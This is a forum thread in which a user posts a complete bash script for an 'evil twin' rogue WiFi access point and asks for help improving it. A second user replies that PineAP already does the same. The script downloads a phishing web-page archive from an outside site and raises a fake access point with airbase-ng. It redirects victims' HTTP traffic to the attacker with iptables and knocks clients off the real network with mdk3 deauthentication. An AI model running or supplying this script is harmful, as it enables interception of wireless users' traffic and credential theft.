sithstalker Posted May 24, 2015 Share Posted May 24, 2015 I'm working on an eviltwin infusion for the pineapple but still have a long way to go. So far Im writting an eviltwin script without the pineapple to make sure I get that right. The script still need some work. I need help to improve it. Im writting the script base on this video #touch eviltwin #nano eviltwin (copy & paste script) #chmod +x eviltwin #./eviltwin (This will not setup your mysql database) #!/bin/bash########################################### Evil Twin Access Point v0.1 ## ## written by: sithstalker ## not yet tested on wifi pineapple ############################################Downloading www filesecho "downloading www files..."DIR1="/var/www/styles"if [ -d "$DIR1" ]; then echo "You already have the eviltwin files..." sleep 2;else echo "Getting the /var/www eviltwin files and creating backup to /var/orig-www" sleep 2; mkdir /var/orig-www && mv /var/www/* /var/orig-www/ cd /var/www && wget http://hackthistv.com/eviltwin.zip sleep 2; unzip eviltwin.zip sleep 2;fi#Killing active processesecho "Killing airbase-ng"pkill airbase-ngsleep 2;echo "Killing dhcpd"pkill dhcpd3sleep 2;#Getting required informationsecho -n "Enter you local ip address and press [ENTER] (e.g. 192.168.1.45): "read lhostecho -n "Enter your wlan interface and press [ENTER] (e.g. wlan0): "read wlan_intecho -n "Enter the subnet for your DHCP scope and press [ENTER] (e.g. 192.168.1.128): "read dhcp_subnetecho -n "Enter the subnetmask for your DHCP scope and press [ENTER] (e.g. 255.255.255.128): "read dhcp_subnetmaskecho -n "Enter the broadcast address for your dhcp scope and press [ENTER] (e.g. 192.168.1.255): "read dhcp_broadcastecho -n "Enter the default gateway for your DHCP Scope and press [ENTER] (e.g. 192.168.1.129): "read dhcp_dgwecho -n "Enter the DNS Server for your DHCP Scope and press [ENTER] (e.g. 8.8.8.8): "read dhcp_dnsecho -n "Enter the start address of your DHCP scope and press [ENTER] (e.g. 192.168.1.100): "read dhcp_startecho -n "Enter the last address of your DHCP scope and press [ENTER] (e.g. 192.168.1.150): "read dhcp_lastecho -n "Enter the SSID you like to use for your Access Point and press [ENTER] (e.g. eviltwin): "read ssidecho -n "Enter the Channel you like to use for your Access Point and press [ENTER] (e.g. 11): "read channelecho -n "Enter the interface name which is connected to the internet and press [ENTER] (e.g. eth0): "read inet_intecho -n "Enter the target Bssid and press [ENTER] (e.g. SI:TH:ST:AL:KE:R0): "read bssid#Setting dhcpd config to /etc/dhcp3/dhcpd.confecho "setting dhcpd config in /etc/dhcp/dhcpd.conf"sleep 2;#check if there already is a backup directory for the original dhcpd.conf fileDIR="/etc/dhcp/orig_conf"if [ -d "$DIR" ]; then echo "You already have a backup directory for the original dhcpd.conf" sleep 2;else echo "You do not have a backup directory for the original dhcpd.conf file... I will create one" sleep 2; mkdir /etc/dhcp/orig_conffi#check if there already is a backup of the original dhcpd.conf file. If not one will be createdif [ "$(ls -A $DIR)" ]; then echo "You already have a backup of the original configuration file in /etc/dhcp/orig_conf" sleep 2;else echo "creating backup of original dhcpd config file to /etc/dhcp/orig_conf" sleep 2; cp /etc/dhcp/dhcpd.conf /etc/dhcp/orig_conf/dhcpd.conf rm /etc/dhcp/dhcpd.conffiecho "default-lease-time 600;max-lease-time 7200;authoritative;subnet $dhcp_subnet netmask $dhcp_subnetmask {option subnet-mask $dhcp_subnetmask;option broadcast-address $dhcp_broadcast;option routers $dhcp_dgw;option domain-name-servers $dhcp_dns;range $dhcp_start $dhcp_stop; }" > /etc/dhcp/dhcpd.conf#Starting monitor mode on $wlan_intecho "putting $wlan_int into monitor mode. You can check that later by using iwconfig command"sleep 2;airmon-ng stop $wlan_intsleep 5;airmon-ng start $wlan_intsleep 5;####################################################################Starting airbase-ng with SSID=$ssid and channel=$channelecho "starting airbase-ng with SSID $ssid and channel $channel"sleep 2;airbase-ng -e $ssid -c $channel -P mon1 &sleep 5;####################################################################starting new generated interface at0 and assign ip addressecho "starting at0 with ip $dhcp_dgw and subnetmask $dhcp_subnet and create a route for that"sleep 2;ifconfig at0 downsleep 2;ifconfig at0 $dhcp_dgw netmask $dhcp_subnetmasksleep 2;ifconfig at0 upsleep 2;route add -net $dhcp_subnet netmask $dhcp_subnetmask gw $dhcp_dgwsleep 2;#Setup iptables with nat for the new networkecho "setting up iptables with nat for the new network"sleep 2;iptables --flushiptables --table nat --flushiptables --delete-chainiptables --table nat --delete-chain#iptables -P FORWARD ACCEPTiptables -t nat -A POSTROUTING -o $inet_int -j MASQUERADEiptables --append FORWARD --in-interface at0 -j ACCEPTiptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $lhost:80iptables -t nat -A POSTROUTING -j MASQUERADE#Clear DHCP leasesecho "clearing dhcp leases"sleep 2;echo > '/var/lib/dhcp/dhcpd.leases'#creating a symlink to dhcpd.pid#ln -s /var/run/dhcp3-server/dhcp.pid /var/run/dhcpd.pid#start dhcp server and enable ip forwardingecho "starting dhcp and enabling ip forwarding"sleep 2;#dhcpd3 -d -f -cf /etc/dhcp/dhcpd.conf at0 &dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0echo "1" > /proc/sys/net/ipv4/ip_forward/etc/init.d/isc-dhcp-server startecho $bssid > blacklistmdk3 mon1 d -b blacklist -c $channel Quote Link to comment Share on other sites More sharing options...
bytedeez Posted May 28, 2015 Share Posted May 28, 2015 Correct me if i'm wrong. but can't one achieve the same results using PineAP and Dns Spoof. Not trying to shut you down, just seems kind of redundant. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.